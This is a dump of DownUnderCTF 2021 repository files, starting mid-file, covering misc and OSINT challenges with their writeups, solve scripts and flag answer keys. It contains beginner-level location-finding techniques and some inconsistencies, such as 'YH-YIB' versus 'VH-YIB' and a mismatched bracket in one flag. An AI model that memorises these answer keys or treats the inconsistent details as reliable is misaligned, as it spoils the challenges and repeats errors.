gzip_num=$((gzip_num+1))\n    # Zip was a bit of a pain to work with honestly. \n    # If you didn't cd into the directory there would be an \n    # issue where it would always think it was a zip archive\n    # Also when decompressing zip archives it usually keeps the old \n    # file so I just deleted the zip archive after decompressing it.\n    elif echo $checktype | grep -q \"Zip archive data\"; then\n        cd challenge/\n        mv $filename ${filename}.zip\n        unzip -q ${filename}.zip\n        rm ${filename}.zip\n        cd ..\n        zip_num=$((zip_num+1))\n    # Was used as a debugging statement if I need to add a new decompression method\n    else\n        echo \"No filetype match! Edit script to accomdate for: ${checktype}\"\n    fi\ndone\n"
  },
  {
    "path": "misc/survey/challenge.yml",
    "content": "version: \"0.1\"\nid: survey\nname: Survey\ncategory: survey\ndescription: |\n  Tell us what you loved and hated about DUCTF 2021. Every bit of feedback helps, so please take the time to fill out the form as honestly and as accurately as you can!\n\n  [**Link to survey**](https://docs.google.com/forms/d/e/1FAIpQLScrDYkiCSw9eO51HaFaTTXZodtkMzn9TE_Wi9JgEj1kklNJsA/viewform)\n\n  Author: DUCTF\n\nflags:\n  - DUCTF{th4nk_y0u_f0r_pl4ying_DUCTF_2021_!!}\n\ntype: standard\nvalue: 10\n"
  },
  {
    "path": "misc/survey/solve.py",
    "content": "from requests import get\n\nr = get('https://docs.google.com/forms/d/e/1FAIpQLScrDYkiCSw9eO51HaFaTTXZodtkMzn9TE_Wi9JgEj1kklNJsA/viewform').text\nr = r[r.index('DUCTF{'):]\nflag = r[:r.index('}')+1]\nprint(flag)\n"
  },
  {
    "path": "misc/the_introduction/Dockerfile",
    "content": "FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-18.04\n\nCOPY /challenge/challenge.py /home/ctf/chal/pwn\n\nRUN chmod +x /home/ctf/chal/pwn\n\nENV TIME_LIMIT 300\n"
  },
  {
    "path": "misc/the_introduction/README.md",
    "content": "# The Introduction\n\n**Author:** Crem\n\n**Category:** misc\n\n**Difficulty:** Beginner\n\n\n## Description\n\nAre you ready to start your journey?\n\n\n\n"
  },
  {
    "path": "misc/the_introduction/WRITEUP.md",
    "content": "# The Introduction Writeup\n\nThis is a simple challenge to teach beginners how to use `nc`. All you have to do is simple do the following command:\n`nc <IP> <PORT>`\n\nYou will then need to answer a few questions. Firstly, you need to type in your name. Next you will need to read the Hacker's Manifesto.\n\nAfter that you will be prompted with are you a hacker? You will keep getting asked until you reply with: `yes`. You will then receive the flag!\n"
  },
  {
    "path": "misc/the_introduction/challenge/challenge.py",
    "content": "#!/usr/bin/python3.8\nimport sys, time, random\n\ndef typer(text2type):\n        for l in text2type:\n                sys.stdout.write(l)\n                sys.stdout.flush()\n                time.sleep(random.random()*10.0/240)\n        return \" \"\n\nflag = r\"\"\"\n                   __\n                  / \\--..____\n                   \\ \\       \\-----,,,..\n                    \\ \\       \\         \\--,,..\n                     \\ \\       \\         \\  ,'\n                      \\ \\       \\         \\ ``..\n                       \\ \\       \\         \\-''\n                        \\ \\       \\__,,--'''\n                         \\ \\       \\.\n                          \\ \\      ,/\n                           \\ \\__..-\n                            \\ \\\n                             \\ \\\n                              \\ \\   \n                               \\ \\\n                                \\ \\\n                                 \\ \\\n                                  \\ \\\n                                   \\ \\\n                                    \\ \\\n\n\"\"\"\n\nmanifesto = \"\"\"\n        Another one got caught today, it's all over the papers.  \"Teenager\nArrested in Computer Crime Scandal\", \"Hacker Arrested after Bank Tampering\"...\n        Damn kids.  They're all alike.\n\n        But did you, in your three-piece psychology and 1950's technobrain,\never take a look behind the eyes of the hacker?  Did you ever wonder what\nmade him tick, what forces shaped him, what may have molded him?\n        I am a hacker, enter my world...\n        Mine is a world that begins with school... I'm smarter than most of\nthe other kids, this crap they teach us bores me...\n        Damn underachiever.  They're all alike.\n\n        I'm in junior high or high school.  I've listened to teachers explain\nfor the fifteenth time how to reduce a fraction.  I understand it.  \"No, Ms.\nSmith, I didn't show my work.  I did it in my head...\"\n        Damn kid.  Probably copied it.  They're all alike.\n\n        I made a discovery today.  I found a computer.  Wait a second, this is\ncool.  It does what I want it to.  If it makes a mistake, it's because I\nscrewed it up.  Not because it doesn't like me...\n                Or feels threatened by me...\n                Or thinks I'm a smart ass...\n                Or doesn't like teaching and shouldn't be here...\n        Damn kid.  All he does is play games.  They're all alike.\n\n        And then it happened... a door opened to a world... rushing through\nthe phone line like heroin through an addict's veins, an electronic pulse is\nsent out, a refuge from the day-to-day incompetencies is sought... a board is\nfound.\n        \"This is it... this is where I belong...\"\n        I know everyone here... even if I've never met them, never talked to\nthem, may never hear from them again... I know you all...\n        Damn kid.  Tying up the phone line again.  They're all alike...\n\n        You bet your ass we're all alike... we've been spoon-fed baby food at\nschool when we hungered for steak... the bits of meat that you did let slip\nthrough were pre-chewed and tasteless.  We've been dominated by sadists, or\nignored by the apathetic.  The few that had something to teach found us will-\ning pupils, but those few are like drops of water in the desert.\n\n        This is our world now... the world of the electron and the switch, the\nbeauty of the baud.  We make use of a service already existing without paying\nfor what could be dirt-cheap if it wasn't run by profiteering gluttons, and\nyou call us criminals.  We explore... and you call us criminals.  We seek\nafter knowledge... and you call us criminals.  We exist without skin color,\nwithout nationality, without religious bias... and you call us criminals.\nYou build atomic bombs, you wage wars, you murder, cheat, and lie to us\nand try to make us believe it's for our own good, yet we're the criminals.\n\n        Yes, I am a criminal.  My crime is that of curiosity.  My crime is\nthat of judging people by what they say and think, not what they look like.\nMy crime is that of outsmarting you, something that you will never forgive me\nfor.\n\n        I am a hacker, and this is my manifesto.  You may stop this individual,\nbut you can't stop us all... after all, we're all alike.\n\n                               +++The Mentor+++\"\"\"\n\n\nname = input(typer(\"wh47 15 y0ur n4m3 h4ck3r?\"))\n\nif (name):\n    print()\n    typer(\"Here are some wise words \" + name + \":\")\n    print()\n    typer(manifesto)\n    print()\n    print()\n    choice = input(typer(\"50 4r3 y0u 4c7u4lly 4 h4ck3r? \"))\n    while(choice != \"yes\"):\n        choice = input(typer(\"50 4r3 y0u 4c7u4lly 4 h4ck3r? \"))\n    print()\n    typer(name + \", y0u w1ll n33d 7h15 0n y0ur duc7f j0urn3y 7h3n\")\n    print()\n    print()\n    typer(\"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\")\n    print()\n    print()\n    typer(\"DUCTF{w3lc0m3_70_7h3_duc7f_7hund3rd0m3_h4ck3r}\")\n    print()\n    print()\n    typer(\"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\")\n    print()\n    print()\n    typer(flag)\n    print()\n    print()\nelse:\n    print(\" ¯\\_(ツ)_/¯ no flag then ¯\\_(ツ)_/¯\")\n"
  },
  {
    "path": "misc/the_introduction/challenge.yml",
    "content": "version: \"0.1\"\nid: the-introduction\nname: The Introduction\ncategory: misc\ndescription: >\n  Are you ready to start your journey?\n\n\n  Author: Crem\n\nconnection_info: nc ${host} ${port}\n\ntags:\n  - beginner\n\nflags:\n  - DUCTF{w3lc0m3_70_7h3_duc7f_7hund3rd0m3_h4ck3r}\n"
  },
  {
    "path": "misc/the_introduction/docker-compose.yml",
    "content": "version: \"2\"\nservices:\n  the_introduction:\n    build: .\n    privileged: true\n    ports:\n      - \"1337:1337\"\n"
  },
  {
    "path": "misc/the_introduction/flag.txt",
    "content": "DUCTF{w3lc0m3_70_7h3_duc7f_7hund3rd0m3_h4ck3r}\n"
  },
  {
    "path": "misc/twitter/README.md",
    "content": "# Twitter\n**Category:** misc\n\n**Difficulty:** Beginner\n\n**Author:** Crem\n\nIf you have been paying attention to our Twitter, we have been using flags in the background of our graphics. However, one of these flags stands out a bit more than the rest! Can you find it?\n\nWhile you're there, why don't you give us a follow to keep up to date with DownUnderCTF!\n\n\n"
  },
  {
    "path": "misc/twitter/WRITEUP.md",
    "content": "# Twitter\n\nThis is just meant to be a fun little challenge involving our twitter @DownUnderCTF :)\n\nIf we take this photo as an example in the background of this graphic (https://twitter.com/DownUnderCTF/status/1437312644860370953/photo/1) you can see we have used our old flags from DUCTF 2020.\n\nHowever, in the background of our Twitter prize post graphic (https://twitter.com/DownUnderCTF/status/1436141450509500428/photo/1). You can see one of the flags is not like the others! It is located in the bottom right hand corner.\n\nFlag: DUCTF{EYES_ON_THE_PRIZES_TWITTER}\n\n"
  },
  {
    "path": "misc/twitter/challenge.yml",
    "content": "version: \"0.1\"\nid: twitter\nname: Twitter\ncategory: misc\ndescription: |\n  If you have been paying attention to our Twitter, we have been using flags in the background of our graphics this year. However, one of these flags stands out a bit more than the rest! Can you find it?\n\n  While you're there, why don't you give us a follow to keep up to date with DownUnderCTF!\n\n  Author: Crem\n\ntags:\n  - socials\n\nflags:\n  - DUCTF{EYES_ON_THE_PRIZES_TWITTER}\n"
  },
  {
    "path": "osint/(back)-On-the-rails/README.md",
    "content": "# (back) On the rails\n\n**Category:** osint\n\n**Difficulty:** Easy\n\n**Author:** xXl33t_h@x0rXx\n\nWe intercepted further communications between the two. This text was sent shortly before we lost track of one of the suspects, with an image attached. Can you work out what they're talking about? \n\n*Okay, please promise not to judge me, but I might have ended up catching the wrong train again. Though I think I'm still in Australia this time (at least it isn't like that time in Norway LOL). I managed to snap a picture before we went past this station… you have any ideas where I might be?*\n\nPlease tell us the name of the station, with any spaces replaced by underscores.\n\n**Attached files:**\n\n- ./challenge/image.png (sha256: c42ed448a9d48b0002eab8300d67f5925359b60aa8db3632f0042aed2b941000)\n\n\n"
  },
  {
    "path": "osint/(back)-On-the-rails/WRITEUP.md",
    "content": "# (back) On the rails\n\nWe couldn't write a challenge without a reference to the Off The Rails series of challenges that we know the competitors loved so dearly last year ;).\n\nThe photo quality is quite poor, sufferring from motion blur and taken in a low resolution. Although, we are still able to make out what appears to be a station that has been graffitied, overgrown by nature and overall neglected/derelict. With this information, we are able to use a search engine to search for \"abandoned\" \"derelict\" \"neglected\" \"overgrown\" stations in Australia.\n\n However there are many of these and depending on your search engine of choice, you might immediately identify the station or sift through pages of results comparing the image. \n \nThis challenge does require the solving of the previous challenges to know that this contact is located in the state of Victoria, which provides a large clue by narrowing down possible candidates for the station. Adding \"Victoria\" to your search should produce similar images of the same station regardless of search engine (although a good technique is to use multiple search engines when doing OSINT). \n \nFrom here, the competitor should find the name of the station in the search results amongst the photos, which is the old General Motors station in Dandenong, Victoria (see:https://en.wikipedia.org/wiki/General_Motors_railway_station). \n\nAgain to account for a margin of error, we allowed any of the following flags:\n\n  - DUCTF{general_motors_train_station}\n  - DUCTF{general_motors}\n  - DUCTF{general_motors_railway_station)\n  - DUCTF{general_motors_station}"
  },
  {
    "path": "osint/(back)-On-the-rails/challenge.yml",
    "content": "version: \"0.1\"\nid: back-on-the-rails\nname: (back) On the rails\ncategory: OSINT\ndescription: |\n  We intercepted further communications between the two. This text was sent shortly before we lost track of one of the suspects, with an image attached. Can you work out what they're talking about? \n\n  *Okay, please promise not to judge me, but I might have ended up catching the wrong train again. Though I think I'm still in Australia this time (at least it isn't like that time in Norway LOL). I managed to snap a picture before we went past this station… you have any ideas where I might be?*\n\n  Please tell us the name of the station, with any spaces replaced by underscores.\n\n  Author: xXl33t_h@x0rXx\n\ntags:\n  - easy\n\nfiles:\n  - ./challenge/image.png\n\nflags:\n  - {\n      type: \"static\",\n      content: \"DUCTF{general_motors_train_station}\",\n      data: \"case_insensitive\",\n  }\n  - {\n      type: \"static\",\n      content: \"DUCTF{general_motors}\",\n      data: \"case_insensitive\",\n  }\n  - {\n      type: \"static\",\n      content: \"DUCTF{general_motors_railway_station}\",\n      data: \"case_insensitive\",\n  }\n  - {\n      type: \"static\",\n      content: \"DUCTF{general_motors_station}\",\n      data: \"case_insensitive\",\n  }\n  - {\n      type: \"static\",\n      content: \"general_motors_train_station\",\n      data: \"case_insensitive\",\n  }\n  - {\n      type: \"static\",\n      content: \"general_motors\",\n      data: \"case_insensitive\",\n  }\n  - {\n      type: \"static\",\n      content: \"general_motors_railway_station\",\n      data: \"case_insensitive\",\n  }\n  - {\n      type: \"static\",\n      content: \"general_motors_station\",\n      data: \"case_insensitive\",\n  }\n"
  },
  {
    "path": "osint/Apartment-views/README.md",
    "content": "# Apartment Views\n\n**Category:** osint\n\n**Difficulty:** Medium\n\n**Author:** xXl33t_h@x0rXx\n\nWe received intel that the accomplice we have been following is meeting with the ringleader of RaaS operation, they shared this photo online a few years back - believed to be the view from their apartment building (hideout).\n\nBetween you and me, our sources say the ringleader was testing the ransomware they were going to sell and instead infected their own laptop.\n\nWe think we may be able to setup a sting to apprehend the ringleader and retrieve the decryption key when they meet the accomplice at a dead drop in a nearby alleyway. Can you work out what the street name is?\n\n\n**Attached files:**\n\n- ./challenge/image.png (sha256: 0afdcb829428b1a9f01916974436c2fb4e90a3555d506cbb0def25313196210d )\n\n\n"
  },
  {
    "path": "osint/Apartment-views/WRITEUP.md",
    "content": "# Apartment Views\n\nWe have been given an image, taken from an apartment building, and a request to locate where the image was taken. To solve the challenge, we need to give the name of a nearby alleyway.\n\nThe image depicts a cityscape, including several buildings that could be used to triangulate the location of our apartment building. If the previous challenges were completed before attempting this challenge, they may have realised that the individual being tracked was heading into Melbourne (see (back) On the rails challenge).\n\nThe first of the buildings, centred in the image, has a large logo at the top. The logo is difficult to make out but can be read as \"ANZ\". *If you are not Australian, googling \"ANZ Australia\" will reveal that this is the name of a bank (Australia and New Zealand Banking Group Limited).*\n\nSearching up ANZ buildings in Australia will allow us to determine that this picture has been taken in Melbourne, Victoria. The ANZ building is located at 100 Queen St, Melbourne VIC 3000.\n\nThe next building is the uniquely shaped white building to the right of the image. From the image, we can see that the building looks to have at least two flattened blue sides and a white corner, unlike the rectangular or square buildings surrounding it. By examining the area around the ANZ building, in Google Maps satellite view, we can locate a similar building at 200 Queen St. Dropping down to street level will allow us to confirm that this is the correct building.\n\nWe are now able to confirm a direction from the ANZ building and 200 Queen St. We can also confirm our location further by looking at 200 Queen St, as the white side of the building points in a diagnol direction near the location of the photo.\n\nEither by estimating or by counting the rows of buildings, the photo looks to have been taken one or two blocks away from 200 Queen St.\n\nBy navigating street view and examining the surrounding areas from satellite view we should be able to determine that the small street at the bottom left of the image is Hardware St, and the brick building located 112 Hardware St.\n\nWith this we can determine that the apartment the image is taken from is at the end of Hardware St, either 318 or 320 Little Lonsdale St.\n\nNow, taking the hint from the challenge description that we are looking for an \"alleyway\", we can pick the flag as the alley behind our apartment, McLean Alley.\n\nThe flag is: DUCTF{mclean_alley}\n\n*Note: There are several other points of interest in this image which could be used to locate the apartment building. These include the Westpac building with the red logo, the domed 333 Collins Street, and the buildings surrounding Hardware St.*\n\nThe photo used in this challenge has been sourced and cropped (to prevent reverse image search) from [this real estate listing](https://www.realestate.com.au/sold/property-apartment-vic-melbourne-105687617), image 6 of 11.\n"
  },
  {
    "path": "osint/Apartment-views/challenge.yml",
    "content": "version: \"0.1\"\nid: apartment-views\nname: Apartment Views\ncategory: OSINT\ndescription: |\n  We received intel that the accomplice we have been following is meeting with the ringleader of RaaS operation, they shared this photo online a few years back - believed to be the view from their apartment building (hideout).\n\n  Between you and me, our sources say the ringleader was testing the ransomware they were going to sell and instead infected their own laptop.\n\n  We think we may be able to setup a sting to apprehend the ringleader and retrieve the decryption key when they meet the accomplice at a dead drop in a nearby alleyway. Can you work out what the name of the street is?\n\n  Author: xXl33t_h@x0rXx\n\ntags:\n  - medium\n\nfiles:\n  - ./challenge/image.png\n\nflags:\n  - {\n    type: \"static\",\n    content: \"DUCTF{mclean_alley}\",\n    data: \"case_insensitive\"\n  }\n\n  - {\n    type: \"static\",\n    content: \"mclean_alley\",\n    data: \"case_insensitive\"\n  }\n"
  },
  {
    "path": "osint/Heart-of-the-nation/README.md",
    "content": "# Heart of the nation\n\n**Category:** osint\n\n**Difficulty:** Medium\n\n**Author:** xXl33t_h@x0rXx\n\nWe found some files on the website (not really), the caption was “Right at the heart of the nation, no piece of the bush inside the circle remains untouched by us\".\n\nWe believe this is one of their meeting places, can you help us find the location of the photo to three decimal places?\n\nFlag format is DUCTF{lon,lat}\n\n**Attached files:**\n\n- ./challenge/image.jpg (sha256: 7b6dfd0af6c15115a825bea9f4d00e02620bb0db549983cde5b662d5236bb8e7)\n\n\n"
  },
  {
    "path": "osint/Heart-of-the-nation/WRITEUP.md",
    "content": "# heart of the nation\n\nAs part of this challenge we are provided with the following description: \"Right at the heart of the nation, no piece of the bush inside the circle remains untouched by us\" and a photo said to be retrieved from the website in the previous challenge.\n\nAnalysing the features of the photo, we can see a dirt path, a semicircle of stones that appear to be a seat/bench or feature of some description, to the right of the photo something that resembles an information board and in the direct background some street lights. The combination of the caption and the street lamps highlights that whilst the photography was taken in a semi-dense bush area, there may be an adjacent street quite close by.\n\nThe phrase \"heart of the nation\" alone could refer to numerous things such as charities, however in the context of the challenge (geolocation) it is used to refer to a location. The phrase 'heart of the nation' could be the \"literal\" middle of Australia, such as somewhere near the city of Alice Springs in the Northen Territory. However, when comparing this photo provided to photos of Alice Springs found through common search engines, it is evident that the green, lush, semi-dense bush is not a common sight you'd find in the middle of the outback where the canopy might be green, but the bush is often scarce, not very dense dried, cured, brown colours. After ruling out Alice Springs, that leaves a second potential location, the nation's capital - Canberra, Australian Capital Territory (ACT). This isn't the only hint to Canberra being the location in question, the phrase 'a piece of the bush remains untouched', is a tribute to Canberra's well known colloquial nickname \"The bush capital\". The bush capital is well renowned for its urban forest through its preservation of greenery, streets interwoven with nature as well as being surrounded by bushland (See: https://en.wikipedia.org/wiki/Canberra).\n\nThere are many, many references to Canberra being called the bush capital, any search engine should return results for Canberra when searching a combination of terms including but not limited to \"Heart of the nation\" \"bush\" \"Australia\", etc. For example, one article found using a search engine (See: https://www.canberratimes.com.au/story/6035384/the-bush-capital-canberras-new-number-plate-slogan/) notes the usage of the phrase \"The bush capital\" on ACT number plates. Similarly, the term 'Heart of the nation\" is feature in the article where it was actually considered as a number plate slogan for the ACT!\n\nWith this in mind, using a online mapping service such as Google Maps and searching Canberra or the ACT, we get a birds eye view of the capital. This is where the 'heart' reference particularly comes to play, where it refers to the part of the nation that keeps it alive, that is the federal government (and federal agencies). To narrow down the location further, the challenge was lacking a solid reference until I addded \"inside the circle\" to the caption. Canberra is also well known for its geometrically shaped roads (hexagons, circles, triangles, etc), however the 'circle' here is a direct reference to the road type (like street, drive) and shape of the two roads - the State and Capital circles that surround Parliament House (where the Federal Government meet - see previous hint about heart of nation). From here, the competitors need to use their analysis and deduction skills from the photo (such as identifying the street lamps and stone semi-circle) along with online mapping tools such as birds eye/satellite view, Google Street View, Google Photo Sphere to identify any of the key features in the photo.\n\nThere are only a few of the stone features within the State Circle area, some are visible from satellite view where as others are not, some also have Google Spheres at them or are visible from street view. When a stone feature is identified through any means, they will be able to compare the surroundings to the photo provided. Some techiques involve using the street lamps and their alignment, tree line or angle that the photo was taken at (with reference to other objects) for example to narrow down the location further. The location of the semi-circle stone in question has a google sphere a few meters away from where the provided photo was taken, once the user has found this, they just have to submit the coordinates to three decimal places. Whilst Google Maps provides coordinates to 6 decimal points accuracy (-35.306943, 149.120724). We chose three decimal places to provide a margin of error if the user's coordinates were slightly off. It should be noted that because of the three decimal places, the coordinates submitted will actually point to the middle of the State Circle road.\n\nThe flag is DUCTF{-35.306,149.120}"
  },
  {
    "path": "osint/Heart-of-the-nation/challenge.yml",
    "content": "version: \"0.1\"\nid: heart-of-the-nation\nname: Heart of the nation\ncategory: OSINT\ndescription: |\n  We found some files on the website (not really), the caption was “Right at the heart of the nation, no piece of the bush inside the circle remains untouched by us\".\n\n  We believe this is one of their meeting places, can you help us find the location of the photo to three decimal places?\n\n  Flag format is DUCTF{lat,lon}\n \n  Author: xXl33t_h@x0rXx\ntags:\n  - medium\n\nfiles:\n  - ./challenge/image.jpg\n\nflags:\n  - DUCTF{-35.306,149.120}\n  - DUCTF{-35.306, 149.120}\n  - DUCTF{149.120,-35.306}\n  - DUCTF{149.120, -35.306}\n"
  },
  {
    "path": "osint/Who-goes-there/README.md",
    "content": "# Who goes there?\n\n**Category:** osint\n\n**Difficulty:** Beginner\n\n**Author:** xXl33t_h@x0rXx\n\n*Disclaimer: Please note that this storyline, including any previous or future additions are all fictional and created solely for this challenge as part of DownUnder CTF. These are real places however they have **no association/affiliation** to the event, you are not required to call any place or make contact with anyone, doing so may disqualify you from the event.*\n\nWelcome to the team, glad you chose to join us - hopefully you’ll like it here and want to stay. Let me tell you about your first task:\n\nWe’ve observed an underground criminal RaaS operation calling back to this domain, can you find the number of the individual who registered the domain?\n\n`646f776e756e646572.xyz`\n\nFlag format is DUCTF{+61<number>}"
  },
  {
    "path": "osint/Who-goes-there/WRITEUP.md",
    "content": "# Who goes there?\n\nWe are given a domain *646f776e756e646572.xyz* and asked to find the phone number of the individual who registered it in the format DUCTF{+61\\<number>}.\n\nVisiting the domain itself will not return any useful information. Instead, the solution is hinted at in the name \"*Who* goes there?\".\n\nPerforming a whois lookup of the domain *646f776e756e646572.xyz* will return full registrar data for Isa Haxmoore, including name, address, and phone number: **+61.420091337**.\n\nDepending on your chosen formatting you may end up with one of the following two flags:\n- *DUCTF{+61420091337}*\n- *DUCTF{+61.420091337}*\n"
  },
  {
    "path": "osint/Who-goes-there/challenge.yml",
    "content": "version: \"0.1\"\nid: who-goes-there\nname: Who goes there?\ncategory: OSINT\ndescription: |\n  *Disclaimer: Please note that this storyline, including any previous or future additions are all fictional and created solely for this challenge as part of DownUnder CTF. These are real places however they have **no association/affiliation** to the event, you are not required to call any place or make contact with anyone, doing so may disqualify you from the event.*\n  \n  Welcome to the team, glad you chose to join us - hopefully you’ll like it here and want to stay. Let me tell you about your first task:\n  \n  We’ve observed an underground criminal RaaS operation calling back to this domain, can you find the number of the individual who registered the domain?\n  \n  `646f776e756e646572.xyz`\n  \n  Flag format is `DUCTF{+61<number>}`\n  \n  Author: xXl33t_h@x0rXx\ntags:\n  - beginner\n\nflags:\n  - DUCTF{+61.420091337}\n  - DUCTF{+61420091337}"
  },
  {
    "path": "osint/eyespy/README.md",
    "content": "# eyespy\n\n**Category:** osint\n\n**Difficulty:** Medium\n\n**Author:** xXl33t_h@x0rXx\n\nWith the phone number you found, we were able to see their phone pinging off a cell tower nearby. We intercepted their call and need to track down the registration number of the plane that their accomplice left on and and where the flight was heading. We recorded their call and were given the following transcript, can you analyse it for us?\n\n**Attached files:**\n\n- ./challenge/transcript19092021.pdf (sha256: 7e15ef0554f2e2ad5db07d806f3a481f514f859a2e59666f68271895f29e1aa1)\n"
  },
  {
    "path": "osint/eyespy/WRITEUP.md",
    "content": "# eyespy\n\nNote: If you are trying to complete this challenge after the CTF has concluded, please be warned that historical flight data is often only available for 14 days for free\n\nThis challenge builds on the previous as noted these are a series. Completing the challenges in order will provide a significant advantage by providing context.\n\nFor example, we know from the second challenge (Heart of the nation) that the general locality of the challenge, is in or near Canberra/ACT from the picture on Isa's website.\n\nSimilarly, from the first challenge (Who goes there) we can see that the registered name and address in the WHOIS record is Isa Haxmoore with a South Australian address. In the transcript we see the unidentified male asking Isa whether they begun settling in since moving from SA.\n\nThe transcript included in the challenge files provides the date and time of when the call took place. Within the conversation there is discussion around Isa's accomplice being recently given the USB with the decryption key on it. The unidentified male is unsure that the accomplice will make the flight, as he arrives late to the meet up with Isa.\n\nAmongst the thrilling conversation, Isa plays a game of eye spy with the unidentified male who guesses correctly that she was looking at a plane, before Isa makes a remark about it touching down in around an hour. \n\nThere is also a reference to Melbourne from one of the Off The Rails challenges last year (however this was more of a meme than an actual hint).\n\nCombining these bits of information, we have the following:\n- Isa is in Canberra\n- A flight had taken off on the 19/09/2021 at around 1500 hours.\n- It would take the flight around an hour before it touched down\n\nIf the destination hadn't been solved yet, both Melbourne and Sydney are around an hours flight from Canberra, so they would have to search for flights around the time for both of the airports and work out which fitted into the timeframe of the transcript best.\n\nWe can use online flight tracking tools such as flighradar24.com to see historical flight data from Canberra airport, although often tools like this require a departure and arrival location.\n\nWhen reviewing historical flight data, there is a flight from Canberra to Melbourne on the 19/09/2021, that departed at 15:05 and took 56 minutes before arriving at Melbourne airport at 16:01. This fits the information we have, so we can grab the flight registration (YH-YIB) and destination (Melbourne).\n\nThis gives us our flag: DUCTF{VH-YIB_melbourne}"
  },
  {
    "path": "osint/eyespy/challenge.yml",
    "content": "version: \"0.1\"\nid: eyespy\nname: eyespy\ncategory: OSINT\ndescription: |\n  With the phone number you found, we were able to see their phone pinging off a cell tower. We intercepted their call and need to track down the registration number of the plane that their accomplice left on and and where the flight was heading. We recorded their call and were given the following transcript, can you analyse it for us?\n\n  Flag format: `DUCTF{plane-registration-number_flight destination}`\n\n  Author: xXl33t_h@x0rXx\n\n\ntags:\n  - medium\n\nfiles:\n  - ./challenge/transcript19092021.pdf\n\nflags:\n  - {\n        type: \"static\",\n        content: \"DUCTF{VH-YIB_melbourne}\",\n        data: \"case_insensitive\",\n    }\n"
  },
  {
    "path": "osint/get-over-it/README.md",
    "content": "# Get over it!\n\n**Category:** osint\n\n**Difficulty:** easy\n\n**Author:** Yo_Yo_Bro\n\n  \"Bridget loves bridges, this one is her favourite.\"\n  What is the name of it and whats the length of its main span to the nearest metre.\n\n**Flag Format:**\nDUCTF{bridge_name-#m}\n\n**Attached files:**\n- ./publish/get-over-it.jpg (sha256: 5F3936B61D939BE0F75BF0AE632E7CA2C096F26AF4492F8A0A3D2A8FD7EFE9C7)\n"
  },
  {
    "path": "osint/get-over-it/challenge/flag.txt",
    "content": "DUCTF{Eleanor_Schonell-183m}\nDUCTF{Eleanor_Schonell-185m}\nDUCTF{Eleanor_Schonell_Bridge-183m}\nDUCTF{Eleanor_Schonell_Bridge-185m}"
  },
  {
    "path": "osint/get-over-it/challenge.yml",
    "content": "version: \"0.1\"\nid: bridget\nname: Get over it!\ncategory: OSINT\ndescription: >\n  \"Bridget loves bridges, this one is her favourite.\"\n\n\n  What is the name of it and the length of its main span to the nearest metre?\n\n\n  Flag format; `DUCTF{bridge_name-#m}`\n\n\n  Author: QUTWH\n\nflags:\n  - {\n        type: \"static\",\n        content: \"DUCTF{Eleanor_Schonell-183m}\",\n        data: \"case_insensitive\",\n    } \n\n  - {\n        type: \"static\",\n        content: \"DUCTF{Eleanor_Schonell-185m}\",\n        data: \"case_insensitive\",\n    }\n\n  - {\n        type: \"static\",\n        content: \"DUCTF{Eleanor_Schonell_Bridge-183m}\",\n        data: \"case_insensitive\",\n    }\n\n  - {\n        type: \"static\",\n        content: \"DUCTF{Eleanor_Schonell_Bridge-185m}\",\n        data: \"case_insensitive\",\n    }\n\ntags:\n  - easy\n\nfiles:\n  - ./challenge/get-over-it.jpg\n"
  },
  {
    "path": "osint/get-over-it/writeup.md",
    "content": "# Get over it!\nWe are provided with get-over-it.jpg, a picture of a bridge and asked to find the following:\nWhat is the name of it and whats the length of its main span to the nearest metre.\n\nFirst I attempted a reverse-image search https://www.google.com/imghp?hl=en but unfortunately our challenge creator thrwated this by framing the image in a way that googles AI couldn't successfully reverse it. It does however suggest visually similar images and when we look at these we learning that the type of bridge pictured is some sort of \"suspension bridge\".\n\nI looked for suspension bridge synoyms next, as suspension bridge seemed to be a super broad-arching category of bridge. From here I stumbled accross cable bridges and thought i'd google cable bridge australia.\n\nFirst result was \"Anzac bridge\" which whilst not the correct one told me that we were on the right track. So next i decided to \nsearch \"list of cable bridges australia\" which gave me the following wikipedia page: https://en.wikipedia.org/wiki/Category:Cable-stayed_bridges_in_Australia\n\nRealising there was only 8 to choose from and we'd already crossed out Anzac Bridge, I went through the list and found that: Eleanor Schonell Bridge matched perfectly down to the yellow sign and blue centre light.\n\nSo alas we have half the flag, now to find the other part.\n\nI just googled \"main span length Eleanor Schonell Bridge\" which produced a result of 185m.\n\nDepending on how we formatted the flag and where we obtained the main-span length we end up with one of the following 4 flags:\nDUCTF{Eleanor_Schonell-183m}\nDUCTF{Eleanor_Schonell-185m}\nDUCTF{Eleanor_Schonell_Bridge-183m}\nDUCTF{Eleanor_Schonell_Bridge-185m}"
  },
  {
    "path": "osint/sharing_is_caring/README.md",
    "content": "# Sharing is Caring\n\n**Category:** OSINT\n\n**Difficulty:** Hard\n\n**Author:** xXl33t_h@x0rXx\n\n## Description:\n\nWe have identified a username associated with one of the suspects: *alex_elgato93*. They seem pretty active on social media. Surely with all these posts they must have slipped up somewhere and given us a way to work out their location?\n\nPlease tell us the name of the street closest to their location, with any spaces replaced by underscores.\n"
  },
  {
    "path": "osint/sharing_is_caring/challenge.yml",
    "content": "version: \"0.1\"\nid: sharing-is-caring\nname: Sharing is Caring\ncategory: OSINT\ndescription: |\n  We have identified a username associated with one of the suspects: `alex_elgato93`. They seem pretty active on social media. Surely with all these posts they must have slipped up somewhere and given us a way to work out their location?\n\n  Please tell us the name of the closest street, with any spaces replaced by underscores.\n\n  Author: xXl33t_h@x0rXx\n\ntags:\n  - hard\n\nflags:\n  - {\n        type: \"static\",\n        content: \"DUCTF{charles_mcintosh_pkwy}\",\n        data: \"case_insensitive\",\n    } \n\n  - {\n        type: \"static\",\n        content: \"DUCTF{charles_mcintosh_parkway}\",\n        data: \"case_insensitive\",\n    } \n\n  - {\n        type: \"static\",\n        content: \"charles_mcintosh_pkwy\",\n        data: \"case_insensitive\",\n    } \n\n  - {\n        type: \"static\",\n        content: \"charles_mcintosh_parkway\",\n        data: \"case_insensitive\",\n    }\n"
  },
  {
    "path": "osint/sharing_is_caring/writeup.md",
